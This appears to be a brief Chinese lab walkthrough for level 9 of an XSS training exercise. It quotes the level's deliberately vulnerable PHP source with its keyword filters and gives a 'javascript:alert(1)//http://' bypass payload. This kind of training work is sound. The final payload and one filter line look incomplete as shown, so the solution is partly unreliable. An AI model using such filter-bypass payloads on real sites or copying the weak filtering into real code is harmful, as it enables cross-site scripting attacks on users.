沿用第八关的思路
javascript:alert(1)
显示我的链接并不合法
我们看一下部分源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
这http://
javascript:alert(1)//http://
